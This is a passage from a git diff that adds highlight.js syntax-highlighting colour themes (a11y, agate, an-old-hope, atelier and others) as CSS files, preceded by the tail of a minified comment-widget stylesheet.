35.6-35.3V1.5h-21.4v42.8zm68.9-14.1c-10.6-2.4-13.2-4-13.2-7.4v-.2c0-2.7 2.5-5 7.6-5 6.8 0 14.4 2.7 21.3 7.6l10.6-14.9A47.9 47.9 0 0 0 403.8.3c-18.3 0-29.5 10.2-29.5 24.3v.2c0 15.7 12.5 20.3 28.7 24 10.3 2.3 12.8 4 12.8 7.2v.2c0 3.3-3 5.3-8.7 5.3-8.8 0-17.1-3.2-24.6-9.2l-11.7 14A53.1 53.1 0 0 0 406.4 79c18.5 0 30.7-9.2 30.7-24.7V54c0-14.3-10.8-20-28.3-23.7z'/%3e%3c/svg%3e");background-position:50% 50%;background-repeat:no-repeat;display:inline-block;height:12px;width:65.7px}#dsqjs .dsqjs-order{display:-webkit-box;display:-ms-flexbox;display:flex;float:right;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-top:10px;margin-bottom:12px}#dsqjs .dsqjs-order-radio{display:none}#dsqjs .dsqjs-order-radio:checked+.dsqjs-order-label{color:#fff;background-color:#888}#dsqjs .dsqjs-order-label{display:block;height:20px;line-height:20px;margin-right:10px;font-size:12px;border-radius:2px;padding:0 5px;background-color:#dcdcdc;color:#4c4d4e;cursor:pointer}#dsqjs p.dsqjs-has-more{margin-bottom:24px;margin-left:48px;font-size:13px;line-height:15px}#dsqjs p.dsqjs-has-more a.dsqjs-has-more-btn{color:#656c7a;text-decoration:underline;cursor:pointer}
\ No newline at end of file
diff --git a/css/highlight/a11y-dark.css b/css/highlight/a11y-dark.css
new file mode 100644
index 00000000..9e347c86
--- /dev/null
+++ b/css/highlight/a11y-dark.css
@@ -0,0 +1,99 @@
+/* a11y-dark theme */
+/* Based on the Tomorrow Night Eighties theme: https://github.com/isagalaev/highlight.js/blob/master/src/styles/tomorrow-night-eighties.css */
+/* @author: ericwbailey */
+
+/* Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #d4d0ab;
+}
+
+/* Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #ffa07a;
+}
+
+/* Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #f5ab35;
+}
+
+/* Yellow */
+.highlight .attribute {
+ color: #ffd700;
+}
+
+/* Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #abe338;
+}
+
+/* Blue */
+.highlight .title,
+.highlight .section {
+ color: #00e0e0;
+}
+
+/* Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #dcc6e0;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #2b2b2b;
+ color: #f8f8f2;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+@media screen and (-ms-high-contrast: active) {
+ .highlight .addition,
+ .highlight .attribute,
+ .highlight .built_in,
+ .highlight .builtin-name,
+ .highlight .bullet,
+ .highlight .comment,
+ .highlight .link,
+ .highlight .literal,
+ .highlight .meta,
+ .highlight .number,
+ .highlight .params,
+ .highlight .string,
+ .highlight .symbol,
+ .highlight .type,
+ .highlight .quote {
+ color: highlight;
+ }
+
+ .highlight .keyword,
+ .highlight .selector-tag {
+ font-weight: bold;
+ }
+}
diff --git a/css/highlight/a11y-light.css b/css/highlight/a11y-light.css
new file mode 100644
index 00000000..47123e2a
--- /dev/null
+++ b/css/highlight/a11y-light.css
@@ -0,0 +1,99 @@
+/* a11y-light theme */
+/* Based on the Tomorrow Night Eighties theme: https://github.com/isagalaev/highlight.js/blob/master/src/styles/tomorrow-night-eighties.css */
+/* @author: ericwbailey */
+
+/* Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #696969;
+}
+
+/* Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #d91e18;
+}
+
+/* Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #aa5d00;
+}
+
+/* Yellow */
+.highlight .attribute {
+ color: #aa5d00;
+}
+
+/* Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #008000;
+}
+
+/* Blue */
+.highlight .title,
+.highlight .section {
+ color: #007faa;
+}
+
+/* Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #7928a1;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #fefefe;
+ color: #545454;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+@media screen and (-ms-high-contrast: active) {
+ .highlight .addition,
+ .highlight .attribute,
+ .highlight .built_in,
+ .highlight .builtin-name,
+ .highlight .bullet,
+ .highlight .comment,
+ .highlight .link,
+ .highlight .literal,
+ .highlight .meta,
+ .highlight .number,
+ .highlight .params,
+ .highlight .string,
+ .highlight .symbol,
+ .highlight .type,
+ .highlight .quote {
+ color: highlight;
+ }
+
+ .highlight .keyword,
+ .highlight .selector-tag {
+ font-weight: bold;
+ }
+}
diff --git a/css/highlight/agate.css b/css/highlight/agate.css
new file mode 100644
index 00000000..aa058d0e
--- /dev/null
+++ b/css/highlight/agate.css
@@ -0,0 +1,108 @@
+/*!
+ * Agate by Taufik Nurrohman
+ * ---------------------------------------------------------------
+ *
+ * #ade5fc
+ * #a2fca2
+ * #c6b4f0
+ * #d36363
+ * #fcc28c
+ * #fc9b9b
+ * #ffa
+ * #fff
+ * #333
+ * #62c8f3
+ * #888
+ *
+ */
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #333;
+ color: white;
+}
+
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .code,
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .tag {
+ color: #62c8f3;
+}
+
+.highlight .variable,
+.highlight .template-variable,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #ade5fc;
+}
+
+.highlight .string,
+.highlight .bullet {
+ color: #a2fca2;
+}
+
+.highlight .type,
+.highlight .title,
+.highlight .section,
+.highlight .attribute,
+.highlight .quote,
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #ffa;
+}
+
+.highlight .number,
+.highlight .symbol,
+.highlight .bullet {
+ color: #d36363;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal {
+ color: #fcc28c;
+}
+
+.highlight .comment,
+.highlight .deletion,
+.highlight .code {
+ color: #888;
+}
+
+.highlight .regexp,
+.highlight .link {
+ color: #c6b4f0;
+}
+
+.highlight .meta {
+ color: #fc9b9b;
+}
+
+.highlight .deletion {
+ background-color: #fc9b9b;
+ color: #333;
+}
+
+.highlight .addition {
+ background-color: #a2fca2;
+ color: #333;
+}
+
+.highlight a {
+ color: inherit;
+}
+
+.highlight a:focus,
+.highlight a:hover {
+ color: inherit;
+ text-decoration: underline;
+}
diff --git a/css/highlight/an-old-hope.css b/css/highlight/an-old-hope.css
new file mode 100644
index 00000000..23995497
--- /dev/null
+++ b/css/highlight/an-old-hope.css
@@ -0,0 +1,89 @@
+/*
+
+An Old Hope – Star Wars Syntax (c) Gustavo Costa
+Original theme - Ocean Dark Theme – by https://github.com/gavsiu
+Based on Jesse Leite's Atom syntax theme 'An Old Hope' – https://github.com/JesseLeite/an-old-hope-syntax-atom
+
+*/
+
+/* Death Star Comment */
+.highlight .comment,
+.highlight .quote
+{
+ color: #B6B18B;
+}
+
+/* Darth Vader */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion
+{
+ color: #EB3C54;
+}
+
+/* Threepio */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link
+{
+ color: #E7CE56;
+}
+
+/* Luke Skywalker */
+.highlight .attribute
+{
+ color: #EE7C2B;
+}
+
+/* Obi Wan Kenobi */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition
+{
+ color: #4FB4D7;
+}
+
+/* Yoda */
+.highlight .title,
+.highlight .section
+{
+ color: #78BB65;
+}
+
+/* Mace Windu */
+.highlight .keyword,
+.highlight .selector-tag
+{
+ color: #B45EA4;
+}
+
+/* Millenium Falcon */
+.highlight
+{
+ display: block;
+ overflow-x: auto;
+ background: #1C1D21;
+ color: #c0c5ce;
+ padding: 0.5em;
+}
+
+.highlight .emphasis
+{
+ font-style: italic;
+}
+
+.highlight .strong
+{
+ font-weight: bold;
+}
diff --git a/css/highlight/androidstudio.css b/css/highlight/androidstudio.css
new file mode 100644
index 00000000..64d03884
--- /dev/null
+++ b/css/highlight/androidstudio.css
@@ -0,0 +1,66 @@
+/*
+Date: 24 Fev 2015
+Author: Pedro Oliveira
+*/
+
+.highlight {
+ color: #a9b7c6;
+ background: #282b2e;
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+}
+
+.highlight .number,
+.highlight .literal,
+.highlight .symbol,
+.highlight .bullet {
+ color: #6897BB;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .deletion {
+ color: #cc7832;
+}
+
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link {
+ color: #629755;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #808080;
+}
+
+.highlight .meta {
+ color: #bbb529;
+}
+
+.highlight .string,
+.highlight .attribute,
+.highlight .addition {
+ color: #6A8759;
+}
+
+.highlight .section,
+.highlight .title,
+.highlight .type {
+ color: #ffc66d;
+}
+
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #e8bf6a;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/arduino-light.css b/css/highlight/arduino-light.css
new file mode 100644
index 00000000..3c756bfe
--- /dev/null
+++ b/css/highlight/arduino-light.css
@@ -0,0 +1,87 @@
+/*
+
+Arduino® Light Theme - Stefania Mellai
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #FFFFFF;
+}
+
+.highlight,
+.highlight .subst {
+ color: #434f54;
+}
+
+.highlight .keyword,
+.highlight .attribute,
+.highlight .selector-tag,
+.highlight .doctag,
+.highlight .name {
+ color: #00979D;
+}
+
+.highlight .built_in,
+.highlight .literal,
+.highlight .bullet,
+.highlight .code,
+.highlight .addition {
+ color: #D35400;
+}
+
+.highlight .regexp,
+.highlight .symbol,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #00979D;
+}
+
+.highlight .type,
+.highlight .string,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .quote,
+.highlight .template-tag,
+.highlight .deletion {
+ color: #005C5F;
+}
+
+.highlight .title,
+.highlight .section {
+ color: #880000;
+ font-weight: bold;
+}
+
+.highlight .comment {
+ color: rgba(149,165,166,.8);
+}
+
+.highlight .meta-keyword {
+ color: #728E00;
+}
+
+.highlight .meta {
+ color: #434f54;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .function {
+ color: #728E00;
+}
+
+.highlight .number {
+ color: #8A7B52;
+}
diff --git a/css/highlight/arta.css b/css/highlight/arta.css
new file mode 100644
index 00000000..47184fb2
--- /dev/null
+++ b/css/highlight/arta.css
@@ -0,0 +1,73 @@
+/*
+Date: 17.V.2011
+Author: pumbur
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #222;
+}
+
+.highlight,
+.highlight .subst {
+ color: #aaa;
+}
+
+.highlight .section {
+ color: #fff;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .meta {
+ color: #444;
+}
+
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .regexp {
+ color: #ffcc33;
+}
+
+.highlight .number,
+.highlight .addition {
+ color: #00cc66;
+}
+
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .link {
+ color: #32aaee;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #6644aa;
+}
+
+.highlight .title,
+.highlight .variable,
+.highlight .deletion,
+.highlight .template-tag {
+ color: #bb1166;
+}
+
+.highlight .section,
+.highlight .doctag,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/ascetic.css b/css/highlight/ascetic.css
new file mode 100644
index 00000000..7668f115
--- /dev/null
+++ b/css/highlight/ascetic.css
@@ -0,0 +1,45 @@
+/*
+
+Original style from softwaremaniacs.org (c) Ivan Sagalaev
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: white;
+ color: black;
+}
+
+.highlight .string,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .section,
+.highlight .addition,
+.highlight .attribute,
+.highlight .link {
+ color: #888;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .meta,
+.highlight .deletion {
+ color: #ccc;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .section,
+.highlight .name,
+.highlight .type,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/atelier-cave-dark.css b/css/highlight/atelier-cave-dark.css
new file mode 100644
index 00000000..3789d0f8
--- /dev/null
+++ b/css/highlight/atelier-cave-dark.css
@@ -0,0 +1,83 @@
+/* Base16 Atelier Cave Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/cave) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Cave Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #7e7887;
+}
+
+/* Atelier-Cave Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .regexp,
+.highlight .link,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #be4678;
+}
+
+/* Atelier-Cave Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #aa573c;
+}
+
+/* Atelier-Cave Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #2a9292;
+}
+
+/* Atelier-Cave Blue */
+.highlight .title,
+.highlight .section {
+ color: #576ddb;
+}
+
+/* Atelier-Cave Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #955ae7;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #19171c;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #be4678;
+}
+
+.highlight .addition {
+ background-color: #2a9292;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #19171c;
+ color: #8b8792;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-cave-light.css b/css/highlight/atelier-cave-light.css
new file mode 100644
index 00000000..97dd9122
--- /dev/null
+++ b/css/highlight/atelier-cave-light.css
@@ -0,0 +1,85 @@
+/* Base16 Atelier Cave Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/cave) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Cave Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #655f6d;
+}
+
+/* Atelier-Cave Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #be4678;
+}
+
+/* Atelier-Cave Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #aa573c;
+}
+
+/* Atelier-Cave Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #2a9292;
+}
+
+/* Atelier-Cave Blue */
+.highlight .title,
+.highlight .section {
+ color: #576ddb;
+}
+
+/* Atelier-Cave Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #955ae7;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #19171c;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #be4678;
+}
+
+.highlight .addition {
+ background-color: #2a9292;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #efecf4;
+ color: #585260;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-dune-dark.css b/css/highlight/atelier-dune-dark.css
new file mode 100644
index 00000000..9b2af86b
--- /dev/null
+++ b/css/highlight/atelier-dune-dark.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Dune Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/dune) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Dune Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #999580;
+}
+
+/* Atelier-Dune Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #d73737;
+}
+
+/* Atelier-Dune Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #b65611;
+}
+
+/* Atelier-Dune Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #60ac39;
+}
+
+/* Atelier-Dune Blue */
+.highlight .title,
+.highlight .section {
+ color: #6684e1;
+}
+
+/* Atelier-Dune Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #b854d4;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #20201d;
+ color: #a6a28c;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-dune-light.css b/css/highlight/atelier-dune-light.css
new file mode 100644
index 00000000..c06f2628
--- /dev/null
+++ b/css/highlight/atelier-dune-light.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Dune Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/dune) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Dune Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #7d7a68;
+}
+
+/* Atelier-Dune Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #d73737;
+}
+
+/* Atelier-Dune Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #b65611;
+}
+
+/* Atelier-Dune Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #60ac39;
+}
+
+/* Atelier-Dune Blue */
+.highlight .title,
+.highlight .section {
+ color: #6684e1;
+}
+
+/* Atelier-Dune Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #b854d4;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #fefbec;
+ color: #6e6b5e;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-estuary-dark.css b/css/highlight/atelier-estuary-dark.css
new file mode 100644
index 00000000..b056bc31
--- /dev/null
+++ b/css/highlight/atelier-estuary-dark.css
@@ -0,0 +1,84 @@
+/* Base16 Atelier Estuary Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/estuary) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Estuary Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #878573;
+}
+
+/* Atelier-Estuary Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #ba6236;
+}
+
+/* Atelier-Estuary Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #ae7313;
+}
+
+/* Atelier-Estuary Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #7d9726;
+}
+
+/* Atelier-Estuary Blue */
+.highlight .title,
+.highlight .section {
+ color: #36a166;
+}
+
+/* Atelier-Estuary Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #5f9182;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #22221b;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #ba6236;
+}
+
+.highlight .addition {
+ background-color: #7d9726;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #22221b;
+ color: #929181;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-estuary-light.css b/css/highlight/atelier-estuary-light.css
new file mode 100644
index 00000000..0a679e85
--- /dev/null
+++ b/css/highlight/atelier-estuary-light.css
@@ -0,0 +1,84 @@
+/* Base16 Atelier Estuary Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/estuary) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Estuary Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #6c6b5a;
+}
+
+/* Atelier-Estuary Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #ba6236;
+}
+
+/* Atelier-Estuary Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #ae7313;
+}
+
+/* Atelier-Estuary Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #7d9726;
+}
+
+/* Atelier-Estuary Blue */
+.highlight .title,
+.highlight .section {
+ color: #36a166;
+}
+
+/* Atelier-Estuary Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #5f9182;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #22221b;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #ba6236;
+}
+
+.highlight .addition {
+ background-color: #7d9726;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #f4f3ec;
+ color: #5f5e4e;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-forest-dark.css b/css/highlight/atelier-forest-dark.css
new file mode 100644
index 00000000..704c6cdf
--- /dev/null
+++ b/css/highlight/atelier-forest-dark.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Forest Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/forest) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Forest Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #9c9491;
+}
+
+/* Atelier-Forest Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #f22c40;
+}
+
+/* Atelier-Forest Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #df5320;
+}
+
+/* Atelier-Forest Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #7b9726;
+}
+
+/* Atelier-Forest Blue */
+.highlight .title,
+.highlight .section {
+ color: #407ee7;
+}
+
+/* Atelier-Forest Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #6666ea;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #1b1918;
+ color: #a8a19f;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-forest-light.css b/css/highlight/atelier-forest-light.css
new file mode 100644
index 00000000..6f84daeb
--- /dev/null
+++ b/css/highlight/atelier-forest-light.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Forest Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/forest) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Forest Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #766e6b;
+}
+
+/* Atelier-Forest Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #f22c40;
+}
+
+/* Atelier-Forest Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #df5320;
+}
+
+/* Atelier-Forest Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #7b9726;
+}
+
+/* Atelier-Forest Blue */
+.highlight .title,
+.highlight .section {
+ color: #407ee7;
+}
+
+/* Atelier-Forest Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #6666ea;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #f1efee;
+ color: #68615e;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-heath-dark.css b/css/highlight/atelier-heath-dark.css
new file mode 100644
index 00000000..2a608f61
--- /dev/null
+++ b/css/highlight/atelier-heath-dark.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Heath Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/heath) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Heath Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #9e8f9e;
+}
+
+/* Atelier-Heath Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #ca402b;
+}
+
+/* Atelier-Heath Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #a65926;
+}
+
+/* Atelier-Heath Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #918b3b;
+}
+
+/* Atelier-Heath Blue */
+.highlight .title,
+.highlight .section {
+ color: #516aec;
+}
+
+/* Atelier-Heath Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #7b59c0;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #1b181b;
+ color: #ab9bab;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-heath-light.css b/css/highlight/atelier-heath-light.css
new file mode 100644
index 00000000..9e5d44d4
--- /dev/null
+++ b/css/highlight/atelier-heath-light.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Heath Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/heath) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Heath Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #776977;
+}
+
+/* Atelier-Heath Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
